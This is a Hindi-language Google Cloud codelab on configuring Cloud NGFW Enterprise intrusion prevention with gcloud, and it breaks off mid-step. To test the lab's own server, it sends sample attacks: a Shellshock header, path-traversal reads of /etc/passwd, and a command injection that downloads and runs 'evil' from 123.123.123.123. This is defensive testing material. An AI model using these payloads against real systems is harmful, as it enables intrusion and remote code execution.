1. परिचय
Cloud Next Generation Firewall (NGFW)
Cloud Next Generation Firewall, पूरी तरह से डिस्ट्रिब्यूट की गई फ़ायरवॉल सेवा है. इसमें सुरक्षा से जुड़ी ऐडवांस सुविधाएं, माइक्रो-सेगमेंटेशन, और हर जगह कवरेज की सुविधा मिलती है. इससे Google Cloud वर्कलोड को अंदरूनी और बाहरी हमलों से सुरक्षित रखा जा सकता है.
Cloud NGFW के ये फ़ायदे हैं:
- डिस्ट्रिब्यूट की गई फ़ायरवॉल सेवा: Cloud NGFW, हर वर्कलोड पर स्टेटफ़ुल और पूरी तरह से डिस्ट्रिब्यूट किया गया होस्ट-आधारित एनफ़ोर्समेंट उपलब्ध कराता है, ताकि ज़ीरो-ट्रस्ट सुरक्षा आर्किटेक्चर को चालू किया जा सके.
- आसान कॉन्फ़िगरेशन और डिप्लॉयमेंट: Cloud NGFW, नेटवर्क और क्रमबद्ध फ़ायरवॉल नीतियां लागू करता है. इन्हें संसाधन के क्रमबद्ध नोड से जोड़ा जा सकता है. इन नीतियों की मदद से, Google Cloud संसाधन के पूरे क्रम में फ़ायरवॉल की एक जैसी सुविधा मिलती है.
- ज़्यादा कंट्रोल और माइक्रो-सेगमेंटेशन: फ़ायरवॉल की नीतियों और Identity and Access Management (IAM) के तहत मैनेज किए गए टैग का इस्तेमाल करके, नॉर्थ-साउथ और ईस्ट-वेस्ट, दोनों तरह के ट्रैफ़िक को बेहतर तरीके से कंट्रोल किया जा सकता है. साथ ही, वर्चुअल प्राइवेट क्लाउड (VPC) नेटवर्क और संगठनों में, एक वीएम तक को कंट्रोल किया जा सकता है.
Cloud NGFW इन टियर में उपलब्ध है:
- Cloud Next Generation Firewall Essentials
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
Cloud NGFW Enterprise, डिस्ट्रिब्यूट किए गए Google Cloud फ़ायरवॉल फ़ैब्रिक में इंट्रूज़न प्रिवेंशन सर्विस (आईपीएस) जोड़ता है. यह लेयर 7 की सुविधा है. टीएलएस की सुरक्षा जांच की सुविधा उपलब्ध है. इससे टीएलएस की मदद से एन्क्रिप्ट (सुरक्षित) किए गए ट्रैफ़िक की जांच की जा सकती है. हालांकि, यह इस कोडलैब के दायरे से बाहर है. इसके बारे में जानने के लिए, टीएलएस की सुरक्षा जांच की सुविधा के साथ Cloud NGFW Enterprise कोडलैब देखें.
अब आपके पास, लेयर 7 के भरोसेमंद नेक्स्ट जनरेशन फ़ायरवॉल (एनजीएफ़डब्ल्यू) की जांच को लागू करने का विकल्प है. इसमें आपको बारीकी से कंट्रोल करने की सुविधा मिलती है. इसके लिए, आपको अपने नेटवर्क आर्किटेक्चर या राउटिंग कॉन्फ़िगरेशन में कोई बदलाव नहीं करना होगा.
आईपीएस के साथ लेयर 7 फ़ायरवॉल कंट्रोल को चालू करने और डिप्लॉय करने के लिए, आपको ये काम करने होंगे:
- Google Cloud की ओर से मैनेज किए जाने वाले ज़ोनल फ़ायरवॉल एंडपॉइंट का सेट बनाएं.
- इसके अलावा, टीएलएस की जांच करने की नीति भी बनाई जा सकती है. हालांकि, इस कोडलैब में इसके बारे में नहीं बताया गया है
- ज़रूरी नहीं है कि आप Trust Config बनाएं. इसके बारे में इस कोडलैब में नहीं बताया गया है
- इन एंडपॉइंट को उन वर्चुअल प्राइवेट क्लाउड (वीपीसी) नेटवर्क से जोड़ें जहां आपको Cloud NGFW Enterprise सेवा की ज़रूरत है.
- अलग-अलग ट्रैफ़िक पाथ के लिए, थ्रेट प्रिवेंशन प्रोफ़ाइल तय करने के लिए, अपनी मौजूदा फ़ायरवॉल नीतियों और फ़ायरवॉल नियमों में सामान्य बदलाव करें.
नेटवर्क फ़ायरवॉल की नीतियां
नेटवर्क फ़ायरवॉल की नीति, फ़ायरवॉल के नियमों के लिए कंटेनर के तौर पर काम करती है. नेटवर्क फ़ायरवॉल की नीति में तय किए गए नियम, तब तक कहीं भी लागू नहीं होते, जब तक नीति को किसी वीपीसी नेटवर्क से नहीं जोड़ा जाता. हर वीपीसी नेटवर्क से एक नेटवर्क फ़ायरवॉल नीति जुड़ी हो सकती है. नेटवर्क फ़ायरवॉल की नीतियां, फ़ायरवॉल के नियमों में IAM के तहत मैनेज किए जाने वाले टैग (या सिर्फ़ टैग) का इस्तेमाल करने की अनुमति देती हैं. ये टैग, मौजूदा नेटवर्क टैग की जगह लेते हैं और इनका इस्तेमाल वर्कलोड को पहचान देने के लिए किया जा सकता है.
नेटवर्क फ़ायरवॉल की नीति को अलग-अलग नेटवर्क के साथ शेयर किया जा सकता है. साथ ही, इसे आईएएम के तहत आने वाले टैग के साथ इंटिग्रेट किया जा सकता है. इससे फ़ायरवॉल को कॉन्फ़िगर और मैनेज करना बहुत आसान हो जाता है.
नेटवर्क फ़ायरवॉल नीति लागू होने के बाद, Google Cloud की फ़ायरवॉल नीतियों में अब ये कॉम्पोनेंट शामिल हैं:
- क्रमिक फ़ायरवॉल नीति
- वीपीसी फ़ायरवॉल के नियम
- नेटवर्क फ़ायरवॉल की नीति ( ग्लोबल और रीजनल)
क्रम के हिसाब से फ़ायरवॉल की नीतियां, संसाधन के क्रम में संगठन और फ़ोल्डर नोड पर लागू होती हैं. वहीं, वीपीसी फ़ायरवॉल के नियम और नेटवर्क फ़ायरवॉल की नीतियां, वीपीसी लेवल पर लागू होती हैं. VPC फ़ायरवॉल के नियमों और नेटवर्क फ़ायरवॉल की नीतियों के बीच एक बड़ा अंतर यह है कि VPC फ़ायरवॉल के नियमों को सिर्फ़ एक VPC नेटवर्क पर लागू किया जा सकता है. वहीं, नेटवर्क फ़ायरवॉल की नीतियों को एक VPC या VPC के ग्रुप से जोड़ा जा सकता है. इसके अलावा, बैच अपडेट जैसे अन्य फ़ायदे भी मिलते हैं.
आखिर में, हमारे पास इंप्लाइड फ़ायरवॉल के नियम भी हैं. ये हर वीपीसी नेटवर्क के साथ आते हैं:
- ऐसा इग्रेस नियम जिसकी कार्रवाई की अनुमति है और डेस्टिनेशन 0.0.0.0/0 है
- इनग्रेस का ऐसा नियम जिसमें कार्रवाई के तौर पर अनुमति नहीं दी गई है और सोर्स 0.0.0.0/0 है
नीचे दिए गए डायग्राम में, डिफ़ॉल्ट रूप से नीति उल्लंघन ठीक करने का क्रम दिखाया गया है:

कृपया ध्यान दें कि वीपीसी फ़ायरवॉल के नियमों और ग्लोबल नेटवर्क फ़ायरवॉल की नीति के बीच, लागू करने का क्रम बदला जा सकता है. ग्राहक, gcloud कमांड का इस्तेमाल करके, किसी भी समय नीति लागू करने का क्रम तय कर सकते हैं.
IAM के कंट्रोल वाले टैग
नेटवर्क फ़ायरवॉल की नीति के नियमों में इंटिग्रेट किए गए नए टैग, की-वैल्यू पेयर वाले ऐसे संसाधन होते हैं जिन्हें Google Cloud संसाधन के क्रम के संगठन या प्रोजेक्ट-लेवल पर तय किया जाता है. इस तरह के टैग में IAM ऐक्सेस कंट्रोल होता है. जैसा कि नाम से पता चलता है, यह कंट्रोल यह तय करता है कि टैग पर कौन क्या कर सकता है. उदाहरण के लिए, IAM अनुमतियों की मदद से यह तय किया जा सकता है कि कौनसे मुख्य खाते, टैग को वैल्यू असाइन कर सकते हैं और कौनसे मुख्य खाते, टैग को संसाधनों से जोड़ सकते हैं. किसी संसाधन पर टैग लागू होने के बाद, नेटवर्क फ़ायरवॉल के नियम इसका इस्तेमाल ट्रैफ़िक को अनुमति देने और अस्वीकार करने के लिए कर सकते हैं.
टैग, Google Cloud के इनहेरिटेंस रिसॉर्स मॉडल के मुताबिक काम करते हैं. इसका मतलब है कि टैग और उनकी वैल्यू, पैरंट से उनकी पूरी हैरारकी में पास की जाती हैं. इस वजह से, टैग एक जगह पर बनाए जा सकते हैं. इसके बाद, इनका इस्तेमाल संसाधन के पूरे क्रम में मौजूद अन्य फ़ोल्डर और प्रोजेक्ट में किया जा सकता है. टैग और ऐक्सेस से जुड़ी पाबंदी के बारे में जानकारी पाने के लिए, इस पेज पर जाएं.
टैग को नेटवर्क टैग के साथ भ्रमित नहीं किया जाना चाहिए. ये ऐसी स्ट्रिंग होती हैं जिन्हें Compute Engine इंस्टेंस में जोड़ा जा सकता है. ये इंस्टेंस से जुड़ी होती हैं और इंस्टेंस के बंद होने पर गायब हो जाती हैं. VPC फ़ायरवॉल के नियमों में नेटवर्क टैग शामिल हो सकते हैं. हालांकि, इन्हें क्लाउड संसाधन नहीं माना जाता. इसलिए, इन पर IAM ऐक्सेस कंट्रोल लागू नहीं होता.
ध्यान दें कि इस दस्तावेज़ में, टैग और IAM से कंट्रोल किए जाने वाले टैग का इस्तेमाल एक-दूसरे की जगह पर किया जा रहा है.
आपको क्या बनाने को मिलेगा
इस कोडलैब के लिए, एक प्रोजेक्ट और सार्वजनिक कनेक्टिविटी वाला वीपीसी नेटवर्क बनाने की सुविधा ज़रूरी है. इसमें यह दिखाया जाएगा कि Cloud NGFW Enterprise, आईपीएस की सुविधा कैसे दे सकता है. इसके लिए, वह ये काम करता है:
- इंट्रा-वीपीसी/सबनेट फ़्लो [ईस्ट-वेस्ट] की जांच करना
- इंटरनेट से आने वाले ट्रैफ़िक [नॉर्थ-साउथ] की जांच की जा रही है
जिन फ़्लो की जांच करनी है उन्हें Cloud Firewall के मैचिंग पैरामीटर का इस्तेमाल करके चुना जाएगा. इनमें 5-टपल (सोर्स आईपी, डेस्टिनेशन आईपी, प्रोटोकॉल, सोर्स पोर्ट, डेस्टिनेशन पोर्ट) और टैग शामिल हैं. इस कोडलैब में TLS की जांच शामिल नहीं है.

नेटवर्क फ़ायरवॉल की नीति का नियम आधार, यहां दी गई टेबल जैसा होगा:
प्राथमिकता | दिशा | Target | सोर्स | डेस्टिनेशन | कार्रवाई | टाइप |
100 | इग्रेस डेटा ट्रैफ़िक | Quarantine_Tag | कोई भी | कोई भी | अस्वीकार करें | Essentials |
1000 | इन्ग्रेस डेटा ट्रैफ़िक | Server_Tag | परफ़ॉर्मेंस की जांच करने वाली रेंज | कोई भी | अनुमति दें | Essentials |
2000 | इन्ग्रेस डेटा ट्रैफ़िक | कोई भी | Identity-Aware Proxy की रेंज | कोई भी | अनुमति दें | Essentials |
3000 | इन्ग्रेस डेटा ट्रैफ़िक | कोई भी | Geo, GCTI | कोई भी | अस्वीकार करें | स्टैंडर्ड |
4000 | इग्रेस डेटा ट्रैफ़िक | कोई भी | कोई भी | Geo, GCTI | अस्वीकार करें | स्टैंडर्ड |
5000 | इग्रेस डेटा ट्रैफ़िक | कोई भी | कोई भी | सिस्टम अपडेट के एफ़क्यूडीएन | अनुमति दें | स्टैंडर्ड |
6000 | इन्ग्रेस डेटा ट्रैफ़िक | Server_Tag | 10.0.0.0/24 | कोई भी | आईपीएस | Enterprise |
7000 | इन्ग्रेस डेटा ट्रैफ़िक | Server_Tag | CloudNAT_IP | कोई भी | आईपीएस | Enterprise |
आपको क्या सीखने को मिलेगा
- ग्लोबल नेटवर्क फ़ायरवॉल नीति बनाने का तरीका
- नेटवर्क फ़ायरवॉल नीति के साथ टैग बनाने और इस्तेमाल करने का तरीका
- Cloud NGFW Enterprise की घुसपैठ रोकने वाली सेवा को कॉन्फ़िगर और इस्तेमाल करने का तरीका
आपको इन चीज़ों की ज़रूरत होगी
- Google Cloud प्रोजेक्ट
- नेटवर्किंग कॉम्पोनेंट को कॉन्फ़िगर करने और इंस्टेंस डिप्लॉय करने की जानकारी
- VPC फ़ायरवॉल कॉन्फ़िगरेशन के बारे में जानकारी
2. शुरू करने से पहले
वैरिएबल बनाना/अपडेट करना
इस कोडलैब में, Cloud Shell में gcloud कॉन्फ़िगरेशन लागू करने में मदद करने के लिए, $variables का इस्तेमाल किया गया है.
Cloud Shell में, नीचे दिए गए कमांड चलाएं. साथ ही, ब्रैकेट में दी गई जानकारी को अपनी ज़रूरत के हिसाब से बदलें. अगर आपको जिस प्रोजेक्ट के लिए यह सुविधा चालू करनी है वह पहले से सेट है, तो प्रोजेक्ट सेट करने की प्रोसेस को छोड़ दें. अगर संगठन के लेवल पर कई संसाधनों की ज़रूरत होती है, जैसे कि फ़ायरवॉल एंडपॉइंट, तो उनके लिए किसी दूसरे वैरिएबल का इस्तेमाल किया जाता है.
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=cloudngfw export org_prefix=cloudngfw export billing_project_id=[project-id]
3. एपीआई चालू करें
अगर आपने एपीआई चालू नहीं किए हैं, तो इन्हें चालू करें:
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. Cloud NGFW Enterprise की सुरक्षा प्रोफ़ाइल और एंडपॉइंट बनाना
Cloud NGFW Enterprise एंडपॉइंट बनाने में करीब 20 मिनट लगते हैं. इसलिए, इसे सबसे पहले बनाया जाएगा. साथ ही, एंडपॉइंट बनने के दौरान ही, बुनियादी सेटअप किया जा सकता है.
सुरक्षा प्रोफ़ाइल और सुरक्षा प्रोफ़ाइल ग्रुप बनाएं:
gcloud network-security security-profiles threat-prevention \ create $org_prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $org_prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat
अनुमानित आउटपुट:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com plete...done. Created security profile group [$org_prefix-spg].
पुष्टि करें कि संसाधन बन गए हैं:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
अनुमानित आउटपुट:
NAME: cloudngfw-sp-threat NAME: cloudngfw-spg
Cloud NGFW Enterprise एंडपॉइंट बनाएं:
gcloud network-security firewall-endpoints create $org_prefix-$zone \ --zone=$zone --organization $org_id \ --billing-project $billing_project_id
नीचे दिए गए निर्देश को चलाकर पुष्टि करें कि एंडपॉइंट बनाया जा रहा है (STATE: CREATING).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
अनुमानित आउटपुट (ध्यान दें कि इस्तेमाल किए जा रहे क्लाइंट के हिसाब से, आउटपुट का फ़ॉर्मैट अलग-अलग हो सकता है):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: CREATING
ज़्यादा जानकारी पाने के लिए, नीचे दी गई कमांड चलाएं. हालांकि, ऐसा करना ज़रूरी नहीं है:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
अनुमानित आउटपुट:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: CREATING updateTime: '2023-04-25T18:08:45.493499362Z'
एंडपॉइंट बनाने की प्रोसेस में करीब 20 मिनट लगते हैं. ज़रूरी संसाधन बनाने के लिए, बेस सेटअप सेक्शन पर जाएं.
5. बेसिक सेटअप
अगर आपको बुनियादी संसाधन मैन्युअल तरीके से बनाने हैं, तो यहां दिए गए सेक्शन पर जाएं.
वीपीसी नेटवर्क और सबनेट
वीपीसी नेटवर्क और सबनेट
वीपीसी नेटवर्क और सबनेट बनाएं:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Cloud Router और Cloud NAT गेटवे बनाएं:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
Instances
क्लाइंट और वेब-सर्वर इंस्टेंस बनाएं:
gcloud compute instances create $prefix-$zone-www \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'
gcloud compute instances create $prefix-$zone-client \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--scopes=compute-ro \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2-utils iperf3 tcpdump -y'
प्रोजेक्ट-लेवल के टैग
अगर ज़रूरी हो, तो उपयोगकर्ता को tagAdmin और/या tagUser की अनुमतियां असाइन करें:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser
प्रोजेक्ट-लेवल पर टैग कुंजी और वैल्यू बनाएं:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-quarantine \ --parent=$project_id/$prefix-vpc-tags
टैग को इंस्टेंस से बाइंड करने के लिए:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
ग्लोबल नेटवर्क फ़ायरवॉल नीति
ग्लोबल नेटवर्क फ़ायरवॉल की नीति बनाएं:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise" --global
क्वारंटीन किए गए इंस्टेंस से आने वाले ट्रैफ़िक को ब्लॉक करने के लिए, Cloud Firewall Essential के नियम बनाएं. ये इंस्टेंस सिर्फ़ उदाहरण के तौर पर बनाए गए हैं. इनका इस्तेमाल इस कोडलैब में नहीं किया जा रहा है. साथ ही, health-check और identity-aware proxy की रेंज से आने वाले ट्रैफ़िक को अनुमति दें:
gcloud compute network-firewall-policies rules create 100 \
--description="block quarantined workloads" \
--action=deny \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=all \
--direction=EGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
--dest-ip-ranges=0.0.0.0/0
gcloud compute network-firewall-policies rules create 1000 \
--description="allow http traffic from health-checks ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=INGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22
gcloud compute network-firewall-policies rules create 2000 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
प्रतिबंध वाले देशों, जाने-माने नुकसान पहुंचाने वाले आईपी पतों, और ToR एक्ज़िट नोड से आने वाले और जाने वाले ट्रैफ़िक को अस्वीकार करने के लिए, Cloud Firewall Standard के नियम बनाएं. साथ ही, सिस्टम अपडेट के लिए सिर्फ़ कुछ खास FQDN पर जाने वाले ट्रैफ़िक को अनुमति दें. इन्हें सिर्फ़ उदाहरण के तौर पर बनाया गया है. इनका इस्तेमाल इस कोडलैब में नहीं किया जा रहा है:
gcloud compute network-firewall-policies rules create 3000 \
--description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
--action=deny \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=all \
--direction=INGRESS \
--src-region-codes CU,IR,KP,SY,XC,XD \
--src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips
gcloud compute network-firewall-policies rules create 4000 \
--description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \
--action=deny \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=all \
--direction=EGRESS \
--dest-region-codes CU,IR,KP,SY,XC,XD \
--dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips
gcloud compute network-firewall-policies rules create 5000 \
--description "allow system updates" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com
Cloud Firewall के नियम बनाएं, ताकि खास रेंज से ईस्ट-वेस्ट / इंट्रा-सबनेट और नॉर्थ-साउथ / इंटरनेट ट्रैफ़िक को अनुमति दी जा सके. इन नियमों को Cloud NGFW Enterprise को चालू करने के लिए अपडेट किया जाएगा:
gcloud compute network-firewall-policies rules create 6000 \
--description "allow ingress internal traffic from clients" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=INGRESS \
--enable-logging \
--layer4-configs all \
--src-ip-ranges=10.0.0.0/24 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
gcloud compute network-firewall-policies rules create 7000 \
--description "allow ingress external traffic to server" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=INGRESS \
--enable-logging \
--src-ip-ranges=$cloudnatip \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
नेटवर्क फ़ायरवॉल की नीति को वीपीसी नेटवर्क से जोड़ें:
gcloud compute network-firewall-policies associations create \
--firewall-policy $prefix-fwpolicy \
--network $prefix-vpc \
--name $prefix-fwpolicy-association \
--global-firewall-policy
एक्सटर्नल टीसीपी/यूडीपी नेटवर्क लोड बैलेंसर
कोई बाहरी आईपी पता रिज़र्व करें. इसके बाद, इंस्टेंस ग्रुप और हेल्थ-चेक बनाएं:
gcloud compute addresses create $prefix-$region-nlbip --region=$region
gcloud compute instance-groups unmanaged create $prefix-ig \
--zone $zone
gcloud compute instance-groups unmanaged add-instances $prefix-ig \
--instances $prefix-$zone-www --zone $zone
gcloud compute health-checks create http $prefix-$region-hc-http80 \
--region $region --port 80
बैकएंड सेवा और फ़ॉरवर्डिंग नियम बनाएं:
gcloud compute backend-services create $prefix-nlb-bes \
--protocol TCP \
--health-checks $prefix-$region-hc-http80 \
--health-checks-region $region \
--region $region
gcloud compute backend-services add-backend $prefix-nlb-bes \
--instance-group $prefix-ig \
--instance-group-zone $zone \
--region $region
gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
--load-balancing-scheme EXTERNAL \
--region $region \
--ports 80 \
--address $prefix-$region-nlbip \
--backend-service $prefix-nlb-bes
6. Cloud NGFW Enterprise Endpoint Association
अगर ज़रूरी हो, तो एनवायरमेंट वैरिएबल को फिर से तय करें.
पुष्टि करें कि Cloud Firewall Endpoint बनाने की प्रोसेस पूरी हो गई है. जब स्थिति चालू है के तौर पर दिखे, तब ही आगे बढ़ें. हालांकि, बनाते समय स्थिति बनाया जा रहा है के तौर पर दिखती है:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
अनुमानित आउटपुट (ध्यान दें कि इस्तेमाल किए जा रहे क्लाइंट के हिसाब से, आउटपुट का फ़ॉर्मैट अलग-अलग हो सकता है):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: ACTIVE
ज़्यादा जानकारी पाने के लिए, नीचे दी गई कमांड चलाएं. हालांकि, ऐसा करना ज़रूरी नहीं है:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
अनुमानित आउटपुट:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: ACTIVE updateTime: '2023-04-25T18:29:40.840608100Z'
Cloud NGFW Enterprise एंडपॉइंट को वीपीसी नेटवर्क से जोड़ें:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc --endpoint $org_prefix-$zone \ --organization $org_id
खाता लिंक करने में करीब 10 मिनट लगते हैं. जब स्थिति ACTIVE के तौर पर दिखे, तब ही आगे बढ़ें. हालांकि, बनाने की प्रोसेस के दौरान स्थिति CREATING के तौर पर दिखती है:
gcloud network-security firewall-endpoint-associations list
अनुमानित आउटपुट:
ID: cloudngfw-association LOCATION: [zone] NETWORK: cloudngfw-vpc ENDPOINT: cloudngfw-[zone] STATE: ACTIVE
ज़्यादा जानकारी पाने के लिए, नीचे दी गई कमांड चलाएं. हालांकि, ऐसा करना ज़रूरी नहीं है:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
अनुमानित आउटपुट:
createTime: '2023-05-01T22:25:06.218544436Z' firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association network: projects/[project-id]/global/networks/cloudngfw-vpc state: ACTIVE updateTime: '2023-05-01T22:33:06.467596536Z'
7. Cloud NGFW Enterprise की जांच से जुड़े नियम
नया टैब खोलें और IAP के ज़रिए क्लाइंट वीएम से SSH कनेक्शन शुरू करें. आपको नए टैब में वैरिएबल फिर से तय करने होंगे:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
एसएसएच सेशन में ज़रूरी वैरिएबल तय करें और वैरिएबल सेट करें. पक्का करें कि वैल्यू सही हों:
export region=[region] export zone=[zone] export prefix=cloudngfw export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)") export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")
दोनों आईपी पतों को कर्ल करें, ताकि यह पुष्टि की जा सके कि उन तक पहुंचा जा सकता है:
curl $target_privateip --max-time 2 curl $target_nlbip --max-time 2
दोनों कर्ल अनुरोधों के लिए, अनुमानित नतीजा:
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
इंटरनल सर्वर आईपी (ईस्ट-वेस्ट / इंट्रा-वीपीसी ट्रैफ़िक) को सैंपल हमले भेजें. वेब सर्वर को सभी अनुरोधों का जवाब देना चाहिए. इससे यह पुष्टि होती है कि L7 की जांच/रोकथाम की सुविधा चालू नहीं है:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3
curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Cloud NAT (नॉर्थ-साउथ इनबाउंड ट्रैफ़िक) के ज़रिए, बाहरी सर्वर आईपी पते पर सैंपल के तौर पर किए गए हमलों को फिर से भेजें. इसी तरह, वेब सर्वर को सभी अनुरोधों का जवाब देना चाहिए:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3
curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
सार्वजनिक और निजी, दोनों आईपी पतों के लिए अनुमानित नतीजे:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
Cloud Shell पर वापस जाएं और L7 की जांच चालू करने के लिए, मौजूदा इनग्रेस नियमों को अपडेट करें:
